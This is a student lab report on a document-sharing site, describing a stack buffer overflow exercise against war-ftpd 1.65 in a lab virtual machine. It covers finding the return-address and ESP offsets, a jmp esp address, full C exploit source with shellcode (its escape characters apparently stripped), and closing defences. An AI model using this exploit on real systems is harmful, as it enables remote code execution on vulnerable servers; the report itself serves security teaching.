欢迎来到淘文阁 - 分享文档赚钱的网站! | 帮助中心 好文档才是您的得力助手!
淘文阁 - 分享文档赚钱的网站
全部分类
  • 研究报告>
  • 管理文献>
  • 标准材料>
  • 技术资料>
  • 教育专区>
  • 应用文书>
  • 生活休闲>
  • 考试试题>
  • pptx模板>
  • 工商注册>
  • 期刊短文>
  • 图片设计>
  • ImageVerifierCode 换一换

    网络攻击与防范实验报告(共8页).doc

    • 资源ID:13550870       资源大小:842.50KB        全文页数:8页
    • 资源格式: DOC        下载积分:20金币
    快捷下载 游客一键下载
    会员登录下载
    微信登录下载
    三方登录下载: 微信开放平台登录   QQ登录  
    二维码
    微信扫一扫登录
    下载资源需要20金币
    邮箱/手机:
    温馨提示:
    快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。
    如填写123,账号就是123,密码也是123。
    支付方式: 支付宝    微信支付   
    验证码:   换一换

     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    网络攻击与防范实验报告(共8页).doc

    精选优质文档-倾情为你奉上网络攻击与防范实验报告姓名:_ _ 学号:_ 所在班级: 实验名称: 缓冲区溢出实验 实验日期: 2014 年 11 月 9 日指导老师: 张玉清 实验评分: 验收评语: 实验目的:1、掌握缓冲区溢出的原理2、掌握常用的缓冲区溢出方法3、理解缓冲区溢出的危害性4、掌握防范和避免缓冲区溢出攻击的方法实验环境:主机系统:Windows8 x64位虚拟机系统:Windows XP(SP3)( IP:192.168.137.128)溢出对象:war-ftpd 1.65调试工具:CDB(Debugging Tools for Windows);开发环境:Visual Studio 2013开发语言:C语言缓冲区溢出原理:在metasploit中搜索war-ftp可以发现war-ftpd1.65在windows下有以下漏洞username overflow,也就是在用户使用user username这个指令时,如果username过长就会发生缓冲区溢出。 计算机在调用函数function(arg1,argm)时,函数栈的布局如图1所示,首先将函数的实参从右往左依次压栈,即argm,arg1。然后将函数返回地址RET压栈。这时EBP指向当前函数的基地址,ESP指向栈顶,将此时的EBP压栈,然后ESP的值赋给EBP,这样EBP就指向新的函数栈的基地址。调用函数后,再将局部变量依次压栈,这时ESP始终指向栈顶。另外还有一个EIP寄存器,EIP中存放的是下一个要执行的指令的地址,程序崩溃时EIP的值就是RET。通过构造特殊的字符串,即两两都不相同的字符串,我们可以根据EIP的值定位RET的位置。知道了RET的位置以后,我们只要在RET这个位置放上我们想要执行的跳转指令就可以实现跳转。为了方便我们找一个系统中现成的指令jmp esp来实现跳转。jmp esp指令在内存中的通用地址是0x7ffa4512,可以通过 CDB的U 7ffa4512来确定该地址中存放的是否为jmp esp。jmp esp将EIP指向了esp指向的位置,我们用定位RET的办法同样定位ESP指向的位置,然后用shellcode替换这块字符串,这样计算机就会执行shellcode,从而实现攻击。当然,我们还可以用其他的指令,如jmp esi,同样得到jmp esi指令在系统内存中的地址,以及esi指向的内存,我们就可以执行shellcode。也可以使用多次跳转。图 1 函数栈的布局实验步骤:1、 测试漏洞是否存在1) 在虚拟机上用CDB将war-ftpd.exe挂起2) 使用主机与虚拟机上的war-ftpd建立连接>ftp n >open192.168.137.128>user A*100003) 溢出成功,CDB捕获到war-ftpd异常,EIP被“AAAA”覆盖。ESP指向的位置也全是字符A。2、 定位RET在字符串中的位置以及ESP指向的位置。1) 使用patternCreate构造1000个不一样字符构成的字符串2) 在虚拟机上用CDB将war-ftpd.exe挂起3) 再次使用主机与虚拟机上的war-ftpd建立连接>ftp n >open192.168.137.128>user str不同字符的字符串4) 程序溢出,EIP=,ESP指向的位置中存放的是5) 利用patternOffset定位RET和ESP指向的位置,RET的相对位置是485,ESP的相对位置是4936) 构造字符串,编写攻击程序。3、 测试攻击程序,能够在虚拟机中弹出计算器框附:攻击程序源代码#include "stdafx.h"#include <winsock2.h>#pragma comment(lib, "ws2_32")int _tmain(int argc, _TCHAR* argv)char shellcode = "xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49""x49x49x49x49x49x49x49x37x49x49x49x49x51x5ax6ax42""x58x50x30x41x31x42x41x6bx41x41x52x32x41x42x41x32""x42x41x30x42x41x58x50x38x41x42x75x38x69x79x6cx4a""x48x67x34x47x70x77x70x53x30x6ex6bx67x35x45x6cx4c""x4bx73x4cx74x45x31x68x54x41x68x6fx6cx4bx70x4fx57""x68x6ex6bx71x4fx45x70x65x51x5ax4bx67x39x4cx4bx50""x34x4cx4bx77x71x68x6ex75x61x4bx70x4ex79x6ex4cx4d""x54x4bx70x72x54x65x57x69x51x49x5ax46x6dx37x71x6f""x32x4ax4bx58x74x77x4bx41x44x44x64x35x54x72x55x7a""x45x6cx4bx53x6fx51x34x37x71x48x6bx51x76x4cx4bx76""x6cx50x4bx6ex6bx71x4fx67x6cx37x71x68x6bx4cx4bx65""x4cx4cx4bx64x41x58x6bx4bx39x53x6cx75x74x46x64x78""x43x74x71x49x50x30x64x6ex6bx43x70x44x70x4cx45x4f""x30x41x68x44x4cx4ex6bx63x70x44x4cx6ex6bx30x70x65""x4cx4ex4dx6cx4bx30x68x75x58x7ax4bx35x59x4cx4bx4d""x50x58x30x37x70x47x70x77x70x6cx4bx65x38x57x4cx31""x4fx66x51x48x76x65x30x70x56x4dx59x4ax58x6ex63x69""x50x31x6bx76x30x55x38x5ax50x4ex6ax36x64x63x6fx61""x78x6ax38x4bx4ex6cx4ax54x4ex76x37x6bx4fx4bx57x70""x63x51x71x32x4cx52x43x37x70x42"char jumpesp = "x12x45xfax7f "WSADATA WSAData;char Buff1000, Recv1024;int nRet;struct sockaddr_in ipAddress;SOCKET s;if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0)printf("- WSAStartup failed.n");WSACleanup();exit(1);s = socket(AF_INET, SOCK_STREAM, 0);ipAddress.sin_family = AF_INET;ipAddress.sin_addr.s_addr = inet_addr("192.168.137.128");ipAddress.sin_port = htons(21);try connect(s, (struct sockaddr *)&ipAddress, sizeof(ipAddress); catch (.)printf("connection error");memset(Buff, 0x41, sizeof(Buff) - 1);memcpy(&Buff485, jumpesp, sizeof(jumpesp) - 1);memcpy(&Buff493, shellcode, sizeof(shellcode) - 1);Buff493 + sizeof(shellcode) - 1 = '0'recv(s, Recv, sizeof(Recv), 0);sprintf(char *)Recv, "user %srn", Buff);send(s, (char *)Recv, strlen(char *)Recv), 0);return 0;实验体会:(遇到的问题及解决方法、收获和体会、提出防范此类缓冲区溢出漏洞的方法)1、 在做这次实验的时候几乎是把能碰到的问题都碰到了,因为以前对计算机内存的运行状况不是很了解,可没有用过metasploit,CDB这些工具,shellcode更是第一次听说,因此走了很多弯路,花了很长的时间才弄明白。下面列举一下我遇到的问题吧:1) 在做ccproxy.exe实验的时候字符串构造错了好几次,不先是发现少了ping后面的空格,后又发现没有rn命令不会执行。2) Shellcode不能执行,在网上找到了很多的shellcode,但是能不能执行似乎是看运气,不过还好最后找到了一个能弹出计算器的。3) 在做war-ftpd的时候没有搞清楚esp指向的位置,受ccproxy的影响,想当然的以为应该是在字符串的第四个位置,后来才知道esp指向的位置是不固定的,在war-ftpd中应该是493的位置。2、 收获和体会通过这次实验了解了缓冲区溢出的基本原理和方法,学会了利用缓冲区溢出漏洞编写攻击程序。虽然刚开始的时候什么也不懂,遇到了很多的问题,让我感觉很挫败,但是最后能够把遇到的问题一个个的解决掉还是挺欣慰的。这次实验也让我体会到缓冲区溢出的危害之大,研究如何防止缓冲区溢出意义重大,同时能够找到软件的缓冲区溢出漏洞并及时修复也是非常有意义的事情。3、 防范缓冲区溢出漏洞的方法防范缓冲区溢出的手段主要有四种:1) 开发能够检查程序中缓冲区溢出问题的软件,目前有很多帮助程序员查错的工具,如faultinjection等,但是这些工具并不能找到所有的缓冲区溢出漏洞,因此,还是需要程序员本身花更多的功夫检查自己编写的代码,尽量避免缓冲区溢出的问题。2) 把数据段地址空间不可执行,我们这次讨论的这种类型的缓冲区溢出中shellcode是放在数据段的,如果操作系统规定数据段不可执行,就可以避免这种漏洞。3) 数组边界检查,只要数组不能被溢出,溢出攻击也就无从谈起。这种方法不仅能避免这种类型的缓冲区溢出,还能保证及时没有了非执行缓冲区保护也不会发生溢出。目前也已经有了做数组边界检查的软件,如Compaq、JonesKelly、Purify等。4) 指针完整性检查。指针完整性检查是指在指针被引用之前检测它的改变,这样即使一个攻击者成功地改变程序的指针,由于系统事先检测到了指针的改变,因此这个指针将不会被使用。与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题;采用其他的缓冲区溢出方法就可以避免这种检测。但是这种方法在性能上有很大的优势,而且兼容性也很好。专心-专注-专业

    注意事项

    本文(网络攻击与防范实验报告(共8页).doc)为本站会员(飞****2)主动上传,淘文阁 - 分享文档赚钱的网站仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知淘文阁 - 分享文档赚钱的网站(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    关于淘文阁 - 版权申诉 - 用户使用规则 - 积分规则 - 联系我们

    本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

    工信部备案号:黑ICP备15003705号 © 2020-2023 www.taowenge.com 淘文阁 

    收起
    展开